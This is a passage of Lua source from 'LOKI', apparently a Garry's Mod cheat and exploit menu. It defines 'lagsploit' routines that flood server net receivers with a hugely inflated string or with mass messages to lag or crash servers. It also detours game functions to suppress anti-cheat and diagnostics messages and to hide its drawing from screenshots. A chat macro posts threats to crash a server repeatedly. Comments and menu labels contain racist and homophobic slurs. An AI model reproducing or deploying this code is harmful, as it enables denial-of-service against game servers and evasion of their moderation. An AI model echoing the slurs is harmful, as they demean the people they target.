1898 LOKI.DrawText( "Status: ", "DermaDefault", 595 - (LOKI.Menu:GetWide() - cmdp:GetWide()), 5, Color(255,255,255) )
1899 LOKI.DrawText( cmdp.Status, "DermaDefault", 635 - (LOKI.Menu:GetWide() - cmdp:GetWide()), 5, cmdp.StatusCol )
1900 end
1901 LOKI.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
1902 end
1903 local width, height = cmdp:GetSize()
1904 local nfunctions = #t.functions
1905 local x = 10
1906 for _, tab in ipairs( t.functions ) do
1907 tab.max_width = (width / nfunctions) - (nfunctions * 5)
1908 if(tab.required == nil || tab.required == true) then
1909 if tab.typ == "func" then
1910 x = (x + 5) + LOKI.MakeFunctionButton( cmdp, x, 42, tab.Name, t, nil, tab )
1911 elseif tab.typ == "bool" then
1912 x = (x + 5) + LOKI.MakeFunctionButton( cmdp, x, 42, (!((LOKI.NotNil(tab.bool) && t.bools[tab.bool]) || t.bools.enabled) && ((tab.ToggleText && tab.ToggleText[1]) || "Start") || ((tab.ToggleText && (tab.ToggleText[2] || tab.ToggleText[1])) || "Stop")), t, nil, tab, tab.border)
1913 elseif tab.typ == "players" then
1914 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, player.GetAll(), x, 42, tab )
1915 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1916 elseif tab.typ == "player" then
1917 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, player.GetAll(), x, 42, tab, true )
1918 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1919 elseif tab.typ == "entities" then
1920 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, tab.tbl, x, 42, tab )
1921 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1922 elseif tab.typ == "entity" then
1923 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, tab.tbl, x, 42, tab, true )
1924 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1925 elseif tab.typ == "string" then
1926 x = (x + 5) + LOKI.MakeTextInputButton( cmdp, x, 42, tab.Name, tab.default, tab.addr )
1927 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1928 elseif tab.typ == "combo" then
1929 x = (x + 5) + LOKI.MakeComboButton( cmdp, x, 42, tab.Name, tab.default, tab.addr, tab.tbl, tab.restriction, tab.var, tab.sort, tab.find )
1930 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1931 elseif tab.typ == "float" then
1932 x = (x + 5) + LOKI.MakeNumberInputButton( cmdp, x, 42, tab.Name, tab.default, tab.min, tab.max, tab.addr )
1933 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1934 elseif tab.typ == "vector" then
1935 x = (x + 5) + LOKI.MakeVectorInputButton( cmdp, x, 42, tab.Name, tab.default, tab.addr )
1936 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1937 end
1938 end
1939 end
1940 Plist:AddItem( cmdp )
1941 end
1942 end
1943 local reset = false
1944 if(LOKI.BAIT_LIMIT != LOKI.GetStored( "baitthreshold", 5 )) then
1945 reset = true
1946 LOKI.BAIT_LIMIT = LOKI.GetStored( "baitthreshold", 5 )
1947 end
1948 local det_call = LOKI.DetourCall || false
1949 LOKI.DetourCall = true
1950 for k, v in ipairs(LOKI.GetAllExploits()) do
1951 if(reset) then v.scanned = false end
1952 LOKI.BlockNetOutgoing = true
1953 if(v.prevalidated) then LOKI.GENERAL_OVERRIDE = true end
1954 local scan = (v.scanned && !v.scan_always) || v.scan(v)
1955 LOKI.GENERAL_OVERRIDE = false
1956 LOKI.BlockNetOutgoing = false
1957 if scan then
1958 local Name = v.Name
1959 if(v.severity != 0 && #LOKI.GetExploit(Name) > 1) then
1960 Name = Name .. " #" .. v.Index
1961 end
1962 LOKI.CreatePanel( Name, v, Plist )
1963 if(scan != true) then v.channel = scan end
1964 if(!v.scanned) then
1965 if(isfunction(v.initial)) then
1966 v.initial(v)
1967 end
1968 v.scanned = true
1969 end
1970 if(v.hooks && istable(v.hooks)) then
1971 for k2, v2 in pairs(v.hooks) do
1972 if(LOKI.Hooks[k2] && LOKI.Hooks[k2][""]) then continue end
1973 if(events[k2] && !eventsR[k2]) then
1974 gameevent.Listen(k2)
1975 eventsR[k2] = true
1976 end
1977 local ret_val = nil
1978 hook_Add(k2, "", function(gm_ret, ...)
1979 local det_call = LOKI.DetourCall || false
1980 LOKI.DetourCall = true
1981 local skip = false
1982 if(LOKI.Killswitch || LOKI.Unload) then skip = true end
1983 local varargs = {...}
1984 if((k2:find("Draw") || k2:find("Render") || k2:find("HUD") || k2:find("Paint"))) then
1985 if(!system.HasFocus() || input.IsKeyDown(input.GetKeyCode(input.LookupBinding("jpeg") || "F5")) || input.IsKeyDown(KEY_F12)) then
1986 skip = true
1987 end
1988 end
1989 if(!skip) then
1990 for k3, v3 in ipairs( LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true) ) do
1991 if(!LOKI.GetEnabled(v3)) then continue end
1992 if((v3.hooks) && istable(v3.hooks) && v3.scanned) then
1993 local cooldown = LOKI.RecursiveGetVar(v3, {"vars", k2, "cooldown"}, "number")
1994 if(cooldown && cooldown - LOKI.REAL_CURTIME >= 0) then continue end
1995 if(k2 == "Think" && isfunction(v3.hooks[k2])) then
1996 if(v3.severity == 0) then
1997 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
1998 if(ret || ret == false) then
1999 ret_val = ret
2000 end
2001 else
2002 if(LOKI.NEXT_TIME <= SysTime()) then
2003 LOKI.RAN_THIS_TICK = true
2004 local tpt = (isfunction(v3.times_per_tick) && v3.times_per_tick(v3) || (v3.times_per_tick))
2005 local limit = 0
2006 if(!istable(tpt)) then
2007 limit = math.Clamp(math.Round(LOKI.SafeToNumber(LOKI.SafeToNumber(tpt))), 1, math.huge)
2008 else
2009 limit = LOKI.GetRateLimitedTimesPerTick() / #tpt
2010 end
2011 if(limit == math.huge) then
2012 limit = LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT )
2013 end
2014 if(limit < LOKI.GetRateLimitedTimesPerTick()) then
2015 if(!LOKI.BUFFER) then
2016 LOKI.BUFFER = 0
2017 end
2018 LOKI.BUFFER = LOKI.BUFFER + LOKI.GetRateLimitedTimesPerTick() - limit
2019 end
2020 if(!limit || limit > LOKI.GetRateLimitedTimesPerTick()) then
2021 if(LOKI.BUFFER) then
2022 local tbl = LOKI.GetVarTable(LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true), "times_per_tick", LOKI.TYPEVARS.MORETHAN, LOKI.GetRateLimitedTimesPerTick())
2023 local tbl_C = 0
2024 for k4, v4 in ipairs(tbl) do
2025 tbl_C = tbl_C + LOKI.GetEnabledCount(v4)
2026 end
2027 local BUFFER = math.Round(LOKI.BUFFER / tbl_C)
2028 if(BUFFER == 0) then
2029 BUFFER = LOKI.BUFFER
2030 end
2031 BUFFER = math.Round(math.Clamp(BUFFER, 0, math.huge))
2032 limit = LOKI.GetRateLimitedTimesPerTick() + BUFFER
2033 LOKI.BUFFER = math.Round(math.Clamp(LOKI.BUFFER - BUFFER, 0, math.huge))
2034 else
2035 limit = LOKI.GetRateLimitedTimesPerTick()
2036 end
2037 end
2038 local mpt = (isfunction(v3.msgs_per_tick) && v3.msgs_per_tick(v3) || (v3.msgs_per_tick || 1))
2039 if(mpt > 1) then
2040 limit = limit / mpt
2041 end
2042 limit = math.Clamp(math.Round(LOKI.SafeToNumber(limit)), 1, math.huge)
2043 /*if(v3.Sender) then
2044 print("Sending " .. limit * mpt .. " for " .. v3.Name, v3.Index)
2045 end*/
2046 for i=1,limit do
2047 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2048 if(ret || ret == false) then
2049 ret_val = ret
2050 end
2051 end
2052 end
2053 end
2054 elseif(isfunction(v3.hooks[k2])) then
2055 if(k2 == "PostRender") then
2056 cam.Start2D()
2057 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2058 cam.End2D()
2059 else
2060 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2061 end
2062 if(ret || ret == false) then
2063 ret_val = ret
2064 end
2065 end
2066 end
2067 end
2068 end
2069 if(k2 == "Think" && LOKI.RAN_THIS_TICK) then
2070 LOKI.NEXT_TIME = SysTime() + (engine.TickInterval() * (LOKI.TICK_RATE / LOKI.GetStored( "tickdelay", LOKI.TICK_RATE)))
2071 LOKI.RAN_THIS_TICK = false
2072 end
2073 LOKI.DetourCall = det_call
2074 if(ret_val) then
2075 return ret_val
2076 elseif(ret_val == false) then
2077 return false
2078 end
2079 end)
2080 end
2081 end
2082 end
2083 end
2084 LOKI.DetourCall = det_call
2085 ActiveCount()
2086 if(istable(LAST_TABLE)) then
2087 table.Empty(LAST_TABLE)
2088 end
2089end
2090LOKI.concommand.Add( "lowkey_menu", LOKI.OpenMenu)
2091LOKI.concommand.Add("lowkey_freecam", function(p, k, d)
2092 LOKI.Freecam.Toggle(d)
2093end)
2094local ctxlines = {
2095 "Hi, my name is Crash Jackson.",
2096 "I have access to 4 paid alts, each one of which allows me access to 5 other family shared steam alts.",
2097 "I plan to crash your server repeatedly until every single alt is banned.",
2098 "Then I'll buy some more alts and start over again.",
2099 "I won't stop until your server is down forever.",
2100 "Have a nice day.",
2101}
2102function LOKI.CrashJackson( p, k, d )
2103 if(!d) then return end
2104 for k, v in pairs( ctxlines ) do
2105 if DarkRP then
2106 timer.Simple( k * 2, function() RunConsoleCommand("say", "// "..v) end )
2107 else
2108 timer.Simple( k * 2, function() RunConsoleCommand("say", v) end )
2109 end
2110 end
2111end
2112LOKI.concommand.Add( "lowkey_crashjackson", LOKI.CrashJackson )
2113LOKI.concommand.Add( "lowkey_unload", function() LOKI.Killswitch = true end )
2114
2115local messagetypes = {
2116 [1] = { ["col"] = Color( 255, 255, 255 ), ["icon"] = Material( "icon16/application_xp_terminal.png" ) }, -- neutral message
2117 [2] = { ["col"] = Color( 250, 200, 140 ), ["icon"] = Material( "icon16/cross.png" ) }, -- negative message
2118 [3] = { ["col"] = Color( 180, 250, 180 ), ["icon"] = Material( "icon16/tick.png" ) }, -- positive message
2119 [4] = { ["col"] = Color( 250, 140, 140 ), ["icon"] = Material( "icon16/error.png" ) }, -- error message
2120 [5] = { ["col"] = Color( 180, 180, 250 ), ["icon"] = Material( "icon16/user.png" ) }, -- blue message
2121 [6] = { ["col"] = Color( 250, 250, 180 ), ["icon"] = Material( "icon16/lightbulb.png" ) }, -- lightbulb message
2122}
2123
2124local aegiscomponent = { color = -1, name = "Aegis" }
2125
2126local notifies = {}
2127local tableinsert = table.insert
2128local istable = istable
2129local error = error
2130
2131function LOKI.Notify( component, type, text )
2132 if !messagetypes then return end
2133 if !component or !istable( component ) then component = { color = Color( 255, 0, 0 ), name = "DEFINE A SCRIPT COMPONENT PROPERLY YOU AUTIST" } end
2134 if !messagetypes[type] then
2135 tableinsert( notifies, { ["time"] = CurTime() + 10, ["ccol"] = Color(255,0,0), ["ctxt"] = "[ AEGIS ERROR ]", ["icon"] = "icon16/error.png", ["col"] = Color(255,0,0), ["txt"] = "Invalid aegis notify type! must be 1-6!" } )
2136 return
2137 end
2138 if component.color == -1 then component.color = Color( 55, 55, 155 ) end
2139 tableinsert( notifies, { ["time"] = CurTime() + 10, ["ccol"] = component.color, ["ctxt"] = "[ "..component.name.." ]", ["icon"] = messagetypes[type].icon, ["col"] = messagetypes[type].col, ["txt"] = text } )
2140end
2141
2142/*for i=1, 6 do
2143 LOKI.Notify( { color = Color(150, 150, 150, 245), name = "Loki" }, i, "Loki v2 Colour Test" )
2144end*/
2145
2146local function DrawNotifies()
2147-- if !messagetypes then return end
2148 local x, y = 10, ScrH() / 2
2149 local cutoff = 0
2150 for k, v in pairs( notifies ) do
2151 if cutoff > 30 then continue end
2152 cutoff = cutoff + 1
2153 local lx = 10
2154 local timeleft = v.time - CurTime()
2155 if timeleft < 2 then lx = 10 - ( ( 2 - timeleft ) * 800 ) end -- pull back into the edge of the screen at the end of the timer
2156 if timeleft <= 0.5 then notifies[k] = nil continue end -- your time is up faggot
2157 local bgcol = Color( v.ccol.r, v.ccol.g, v.ccol.b, 145 )
2158 local bgcol2 = Color( v.col.r, v.col.g, v.col.b, 145 )
2159 surface.SetDrawColor( v.ccol )
2160 local txw, txh = draw.SimpleText( v.ctxt, "Trebuchet18", lx, y, v.ccol, 0, 0 )
2161
2162 surface.SetDrawColor( bgcol )
2163 surface.DrawRect( lx - 5, y - 1, txw + 10, 20 )
2164 surface.DrawLine( lx - 5, y - 1, lx - 5 + (txw + 10), y - 1 )
2165
2166 surface.SetDrawColor( Color(255,255,255, 150) )
2167 surface.SetMaterial( v.icon )
2168 surface.DrawTexturedRect( (lx - 5) + txw + 16, y + 1, 16, 16 )
2169
2170 txw = txw + 22
2171
2172 local txw2, txh2 = draw.SimpleText( v.txt, "Trebuchet18", (lx - 5) + txw + 20, y, v.col, 0, 0 )
2173 surface.SetDrawColor( bgcol2 )
2174 surface.DrawRect( (lx - 5) + txw + 15, y - 1, txw2 + 10, 20 )
2175 surface.DrawLine( (lx - 5) + txw + 15, y - 1, ((lx - 5) + txw + 15) + txw2 + 10, y - 1 )
2176
2177 y = y - 25
2178 end
2179end
2180
2181setmetatable(net.ReadVars, {
2182 __index = function(self, key)
2183 return net.ReadVars[key] || net.ReadVars[0]
2184 end,
2185})
2186/*LOKI.AddAllReceivers = function()
2187 for i = 1, math.huge do
2188 local str = util.NetworkIDToString(i)
2189 if not str then return false end
2190
2191 LOKI.AddExploit( str, {
2192 desc = "Potential lagsploit",
2193 severity = 0,
2194 bools = {enabled = false},
2195 status = -1,
2196 times_per_tick = math.huge,
2197 scan = function() return LOKI.ValidNetString( str ) end,
2198 hooks = {
2199 Think = function(tbl, sploit)
2200 LOKI.NetStart( sploit,str)
2201 net.SendToServer()
2202 end,
2203 },
2204 functions = {
2205 { typ = "bool", },
2206 },
2207 } )
2208 end
2209end
2210LOKI.concommand.Add("lowkey_addall", LOKI.AddAllReceivers)*/
2211local str = "\n"
2212LOKI.AddExploit( "lag_func", {
2213 desc = "Test exploit. (if this works let me know so I can officially enable it)",
2214 severity = 1,
2215 bools = {enabled = false},
2216 status = -1,
2217 times_per_tick = math.huge,
2218 scan = function() return LOKI.ValidNetString( "fp_chatText" ) end,
2219 hooks = {
2220 Think = function(tbl, sploit)
2221 if(str == "\n") then
2222 for i = 1, 65533 do
2223 str = str .. str
2224 end
2225 end
2226 LOKI.NetStart( sploit, "fp_chatText")
2227 net.WriteString(str)
2228 net.SendToServer()
2229 end,
2230 },
2231 functions = {
2232 { typ = "bool", },
2233 },
2234} )
2235if(LOKI.Developer) then
2236 LOKI.AddExploit( "Lagsploit Tester", {
2237 desc = "Bomb any receiver to find lagsploits",
2238 severity = -1,
2239 bools = {enabled = false},
2240 status = 1,
2241 times_per_tick = math.huge,
2242 vars = {},
2243 scan = function() return true end,
2244 hooks = {
2245 Think = function(tbl, sploit)
2246 if(LOKI.GetStored("tester1")[2] == "*") then
2247 sploit.times_per_tick = LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT ) / #LOKI.Receivers
2248 for k, v in ipairs(LOKI.Receivers) do
2249 if(v.str != "*") then
2250 LOKI.NetStart(sploit, v.str)
2251 net.SendToServer()
2252 end
2253 end
2254 else
2255 sploit.times_per_tick = math.huge
2256 LOKI.NetStart(sploit, LOKI.GetStored("tester1")[2])
2257 net.SendToServer()
2258 end
2259 end,
2260 },
2261 functions = {
2262 { typ = "combo", Name = "Sender", tbl = LOKI.GetAllReceivers(), restriction = nil, var = "str", sort = "str", find = "str", default = -1, addr = "tester1" },
2263 { typ = "bool", },
2264 },
2265 } )
2266end
2267//////////////////////////////////////////////- SPLOITS -////////////////////////////////////////////////
2268
2269LOKI.AddExploit( "Test Sploit", {
2270 desc = "Does nothing, used for menu testing",
2271 severity = 1,
2272 bools = {enabled = true},
2273 status = 1,
2274 times_per_tick = 1,
2275 vars = {},
2276 scan = function() return false end,
2277 /*count = {
2278 ["Active"] = 25,
2279 ["Total"] = 25,
2280 },*/
2281 hooks = {
2282 Think = function(tbl, sploit)
2283 PrintTable(tbl)
2284 print( LOKI.GetStored( "teststring", "" ).." is such a fucking gay nigger omg" )
2285 end,
2286 },
2287 functions = {
2288 { typ = "float", Name = "Niggers to kill", default = 1, min = 0, max = 100, addr = "testfloat" },
2289 { typ = "string", Name = "Enter a gay cunt", default = "you", addr = "teststring" },
2290 { typ = "players", addr = "testplayers" },
2291 { typ = "func", Name = "Fist his holes", args = {LOKI.GetLP()}, },
2292 },
2293} )
2294
2295function LOKI.TIME_TO_TICKS( dt ) return( LOKI.SafeToNumber( 0.5 + LOKI.SafeToNumber(dt) / engine.TickInterval() ) ) end
2296function LOKI.TICKS_TO_TIME( t ) return( engine.TickInterval() *( t ) ) end
2297function LOKI.ROUND_TO_TICKS( t ) return( engine.TickInterval() * LOKI.TIME_TO_TICKS( t ) ) end
2298LOKI.DRAW_TPS = 0
2299LOKI.OS_TIME = 0
2300LOKI.DROPPED_FRAMES = 0
2301LOKI.TICK_RATE = math.Round( 1 / engine.TickInterval() )
2302LOKI.RATE_LIMIT = 1028
2303LOKI.NEXT_TIME = 0
2304LOKI.REAL_CURTIME = 0
2305function LOKI.DrawText(...)--text, font, x, y, col
2306 if true then return draw.SimpleText(...) end
2307 surface.SetFont( font )
2308 surface.SetTextColor( col )
2309 surface.SetTextPos( x, y )
2310 surface.DrawText( tostring(text) )
2311end
2312function LOKI.GetRateLimitedTimesPerTick()
2313 local enabled = LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true)
2314 local senders = LOKI.GetVarTable(enabled, "Sender", LOKI.TYPEVARS.EQUALTO, true)
2315 local count = #senders
2316 for k, v in ipairs(senders) do
2317 local tbl_C = table.Count(v.bools)
2318 if(tbl_C > 1) then
2319 for k2, v2 in pairs(v.bools) do
2320 if(k2 != "enabled") then
2321 if(v2 == true) then
2322 count = (count + 1)
2323 end
2324 else
2325 count = count - 1
2326 end
2327 end
2328 end
2329 end
2330 local limit = count
2331 if(limit <= 0) then
2332 limit = 1
2333 end
2334 return math.Clamp(
2335 math.Round(
2336 (LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT ) / LOKI.GetStored( "tickdelay",
2337 LOKI.TICK_RATE) / limit) * (LOKI.GetStored( "tickdelay", LOKI.TICK_RATE) / math.min(LOKI.GetStored( "tickdelay", LOKI.TICK_RATE), math.max(LOKI.GetStored( "fpsthreshold", 5 ), (1 / FrameTime()))))), 1, math.huge)
2338end
2339if(GAMEMODE.LimitHit) then GAMEMODE.LimitHit = function() return false end end
2340LOKI.DrawPanels = {}
2341LOKI.AddExploit( "Loki Settings", {
2342 desc = "Tweak performance",
2343 severity = 0,
2344 bools = {enabled = true},
2345 status = 4,
2346 times_per_tick = 1,
2347 vars = {},
2348 scan = function() return true end,
2349 hooks = {
2350 CreateMove = function(tbl, sploit, varargs)
2351 LOKI.GetLP():SetViewPunchAngles(Angle(0,0,0))
2352 local cmd = varargs[1]
2353 if(cmd:TickCount() == 0 || cmd:CommandNumber() == 0) then return end
2354 if(input.LookupBinding("+speed", true) != "no value" && input.IsKeyDown(input.GetKeyCode(input.LookupBinding("+speed", true))) && !cmd:KeyDown(IN_SPEED)) then
2355 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_SPEED))
2356 end
2357 hook.Run("CL_Move", unpack(varargs))
2358 end,
2359 SetupMove = function(tbl, sploit, varargs)
2360 hook.Run("CL_PostMove", unpack(varargs))
2361 end,
2362 PostRender = function()
2363 LOKI.GetLP():SetViewPunchAngles(Angle(0,0,0))
2364 render.SetRenderTarget( render.GetRenderTarget() )
2365 local ent = LOKI.IsHovered || LOKI.SpectateEnt
2366 if((LOKI.Freecam.Enabled == true || (IsValid(ent) && ent.OBBCenter)) && !gui.IsGameUIVisible()) then
2367 render.RenderView( LOKI.Freecam.Data )
2368 for k, v in ipairs(vgui.GetWorldPanel():GetChildren()) do
2369 if IsValid(v) && v:IsVisible() then
2370 v:PaintManual()
2371 end
2372 end
2373 /*LOKI.GENERAL_OVERRIDE = true
2374 LOKI.GetLP():DrawModel()
2375 LOKI.GENERAL_OVERRIDE = false*/
2376 end
2377 LOKI.LAST_RENDER = SysTime()
2378 LOKI.DrawText( LOKI.DRAW_TPS .. "/" .. LOKI.TICK_RATE .. " - " .. LOKI.GetRateLimitedTimesPerTick(), "TargetID", 0, 0, Color( 255, 255, 255, 255 ) )
2379 LOKI.DrawText( "D: " .. LOKI.DROPPED_FRAMES, "TargetID", 0, 15, Color( 255, 255, 255, 255 ) )
2380 cam.Start3D()
2381 local ent = LOKI.IsHovered || LOKI.SpectateEnt
2382 if(IsValid(ent) && ent.OBBCenter) then
2383 if(ent:IsDormant()) then
2384 ent:DrawModel()
2385 end
2386 else
2387 LOKI.IsHovered = false
2388 LOKI.SpectateEnt = false
2389 end
2390 hook.Run("Render3D")
2391 cam.End3D()
2392 hook.Run("Render2D")
2393 DrawNotifies()
2394 for k, v in ipairs(LOKI.DrawPanels) do
2395 if IsValid(v) && v:IsVisible() then
2396 v:PaintManual()
2397 end
2398 end
2399 end,
2400 CalcView = function(tbl, sploit, varargs)
2401 local ply, pos, angles, fov, drawviewer = unpack(varargs)
2402 drawviewer = false
2403 local ent = LOKI.IsHovered || LOKI.SpectateEnt
2404 if(IsValid(ent) && ent.OBBCenter) then
2405 drawviewer = true
2406 pos = (ent:GetPos() + ent:OBBCenter())
2407 local tr = util.TraceLine( {
2408 start = pos,
2409 endpos = (ent:GetPos() + ent:OBBCenter())-( angles:Forward()*100 ),
2410 filter = function( hitent ) if ( hitent == ent ) then return false end end
2411 } )
2412 pos = tr.HitPos
2413 else
2414 LOKI.IsHovered = false
2415 LOKI.SpectateEnt = false
2416 end
2417 if ( LOKI.Freecam.SetView ) then
2418 LOKI.Freecam.ViewOrigin = pos
2419 LOKI.Freecam.SetView = false
2420 end
2421 if ( LOKI.Freecam.Enabled == true ) then
2422 LOKI.Freecam.Data = {origin = LOKI.Freecam.ViewOrigin, drawviewer = true, dopostprocess = true, drawhud = true, drawmonitors = true, drawviewmodel = false}
2423 else
2424 LOKI.Freecam.Data = ({ply = ply, origin = pos, angles = angles, fov = fov, drawviewer = drawviewer, dopostprocess = true, drawhud = true, drawmonitors = true, drawviewmodel = false})
2425 end
2426 //return LOKI.Freecam.Data
2427 end,
2428 StartCommand = function(tbl, sploit, varargs)
2429 local cmd = varargs[2]
2430 if ( LOKI.Freecam.Enabled == true ) then
2431
2432 LOKI.Freecam.ViewOrigin = LOKI.Freecam.ViewOrigin + ( LOKI.Freecam.Velocity )
2433 LOKI.Freecam.Velocity = LOKI.Freecam.Velocity * 0.95
2434
2435 local add = Vector( 0, 0, 0 )
2436 local ang = cmd:GetViewAngles()
2437 local move_mod = 4
2438 local speed_mod = 4
2439 if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() * move_mod end
2440 if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() * move_mod end
2441 if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() * move_mod end
2442 if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() * move_mod end
2443 if ( cmd:KeyDown( IN_JUMP ) ) then add = add + Angle(0,0,0):Up() * move_mod cmd:RemoveKey(IN_JUMP) end
2444 if ( cmd:KeyDown( IN_DUCK ) ) then add = add - Angle(0,0,0):Up() * move_mod cmd:RemoveKey(IN_DUCK) end
2445
2446 if(input.LookupBinding("+speed", true) != "no value" && input.IsKeyDown(input.GetKeyCode(input.LookupBinding("+speed", true))) && !cmd:KeyDown(IN_SPEED)) then add = add * speed_mod end
2447
2448 LOKI.Freecam.Velocity = LOKI.Freecam.Velocity + (add * RealFrameTime())
2449
2450 cmd:SetForwardMove( 0 )
2451 cmd:SetSideMove( 0 )
2452 cmd:SetUpMove( 0 )
2453
2454 end
2455 end,
2456 Tick = function(tbl, sploit)
2457 if(LOKI.RAW_FRAME_TIME == (1 / engine.ServerFrameTime())) then
2458 LOKI.DROPPED_FRAMES = LOKI.DROPPED_FRAMES + 1
2459 else
2460 LOKI.RAW_FRAME_TIME = (1 / engine.ServerFrameTime())
2461 LOKI.DROPPED_FRAMES = 0
2462 LOKI.REAL_CURTIME = _G.CurTime()
2463 end
2464 if(LOKI.OS_TIME != os.time()) then
2465 LOKI.DRAW_TPS = math.Clamp(LOKI.TICK_RATE - LOKI.DROPPED_FRAMES, 0, LOKI.TICK_RATE)
2466 LOKI.OS_TIME = os.time()
2467 end
2468 end,
2469 Think = function(tbl, sploit)
2470 local pan = vgui.GetHoveredPanel()
2471 if(IsValid(pan) && IsValid(pan.btnClose) && isfunction(pan.btnClose.SetVisible) && !pan.PaintedManually) then
2472 pan.btnClose:SetVisible( true )
2473 end
2474 end,
2475 OnReloaded = function()
2476 table.Empty(LOKI.Hooks)
2477 LOKI.RunDetours()
2478 if(IsValid(LOKI.Menu) && LOKI.Menu:IsVisible()) then
2479 LOKI.Menu:SetVisible(false)
2480 end
2481 LOKI.OpenMenu(true)
2482 end,
2483 concommand = {
2484 Run = function(sploit, varargs)
2485 if(LOKI.CommandList[ string.lower( varargs[2] ) ]) then
2486 pcall(function() LOKI.CommandList[ string.lower( varargs[2] ) ](unpack(varargs)) end)
2487 return false
2488 end
2489 end
2490 },
2491 gui = {
2492 ["*"] = function(tabk, funck, sploit, varargs)
2493 return false
2494 end
2495 },
2496 input = {
2497 ["*"] = function()
2498 return false
2499 end
2500 },
2501 render = {
2502 SetRenderTarget = function(sploit, varargs)
2503 //if(LOKI.GetStored( "securerenderer", false )) then return false end
2504 end
2505 },
2506 util = {
2507 NetworkIDToString = function(sploit, varargs)
2508 local det_call = LOKI.DetourCall
2509 LOKI.DetourCall = true
2510 LOKI.NetIncomingMsg = util.NetworkIDToString(varargs[1])
2511 LOKI.DetourCall = det_call
2512 if(!LOKI.NetIncomingMsg) then return end
2513 for k, v in ipairs(LOKI.GetAllExploits()) do
2514 local Receiver = LOKI.RecursiveGetVar(v, {"hooks", "net", "Receive"}, "function")
2515 if(Receiver) then
2516 if(Receiver(v, LOKI.NetIncomingMsg) == false) then
2517 return nil
2518 end
2519 end
2520 end
2521 end,
2522 },
2523 input = {
2524 LookupBinding = function(sploit, varargs)
2525 local bind = input.LookupBinding(unpack(varargs))
2526 if(bind) then
2527 if(LOKI.CommandList[input.LookupKeyBinding(input.GetKeyCode(bind))]) then
2528 LOKI.RETURN_OVERRIDE = true
2529 end
2530 end
2531 end,
2532 LookupKeyBinding = function(sploit, varargs)
2533 if(LOKI.CommandList[input.LookupKeyBinding(unpack(varargs))]) then LOKI.RETURN_OVERRIDE = true end
2534 end,
2535 },
2536 /*string = {
2537 lower = function(sploit, varargs)
2538 local str = varargs[1]
2539 if(str == "Odium") then
2540 return string.lower
2541 end
2542 if(str == "LOKI.GetTable()") then
2543 return LOKI
2544 end
2545 local LowerCommand = string.lower( str ) || str
2546 if ( LOKI.CommandList[ LowerCommand ] != nil ) then
2547 pcall(function() LOKI.CommandList[ LowerCommand ]( player, str, arguments, args ) end)
2548 end
2549 end,
2550 },*/ -- might use later, somewhat secure way to add concommands in clientstate but PlayerBindPress works better
2551 net = {
2552 Receive = function(sploit, strName)
2553 if(strName == "diagnostics1" || strName == "diagnostics2" || strName == "diagnostics3") then
2554 return false
2555 end
2556 end,
2557 /*WriteAngle = function(sploit, varargs)
2558 if(LOKI.NetOutgoingMsg == "thirdperson_etp") then
2559 varargs[1] = Angle(0,0,0,2^64)
2560 end
2561 end,*/
2562 ["*"] = function(tabk, funck, sploit, varargs)
2563 if(funck:StartWith("Write")) then
2564 if(LOKI.BlockNetOutgoing) then
2565 return false
2566 elseif(funck == "BytesWritten") then
2567 return -1
2568 elseif(LOKI.NetOutgoingMsg == "anticheat" || LOKI.NetOutgoingMsg == "thisisnotcool") then
2569 return false
2570 elseif(funck == "WriteTable") then
2571 if(LOKI.Developer) then
2572 PrintTable(varargs[1])
2573 end
2574 end
2575 elseif(funck:StartWith("Read")) then
2576 if(LOKI.BlockNetIncoming) then
2577 return false
2578 end
2579 end
2580 end,
2581 },
2582 PreDrawTranslucentRenderables = function()
2583 EyePos()
2584 EyeVector()
2585 EyeAngles()
2586 end,
2587 PlayerBindPress = function(tbl, sploit, varargs, ret)
2588 if(LOKI.CommandList[ string.lower( varargs[2] ) ]) then
2589 pcall(function() LOKI.CommandList[ string.lower( varargs[2] ) ] (unpack(varargs)) end)
2590 return true
2591 end
2592 if(ret != nil) then return ret else return false end
2593 end,
2594 cam = {
2595 //Start3D = function() return false end,
2596 //End3D = function() return false end,
2597 },
2598 _G = {
2599 RunConsoleCommand = function(tbl, varargs)
2600 if(varargs[1] == "disconnect") then return false end
2601 end,
2602 },
2603 vgui = {
2604 Create = function(tbl, varargs)
2605 local classname, parent, name, loki = varargs[1],varargs[2],varargs[3],varargs[4]
2606 local ret = vgui.Create(classname, parent, name)
2607 if(!ret) then print("something touched me wrongly") return end
2608 ret.MenuStart = true
2609 if(classname == "DFrame" && loki == true) then
2610 ret:SetPaintedManually(true)
2611 ret.PaintedManually = true
2612 LOKI.DrawPanels[#LOKI.DrawPanels+1] = ret
2613 return LOKI.DrawPanels[#LOKI.DrawPanels]
2614 end
2615 return ret
2616 end,
2617 },
2618 },
2619 functions = {
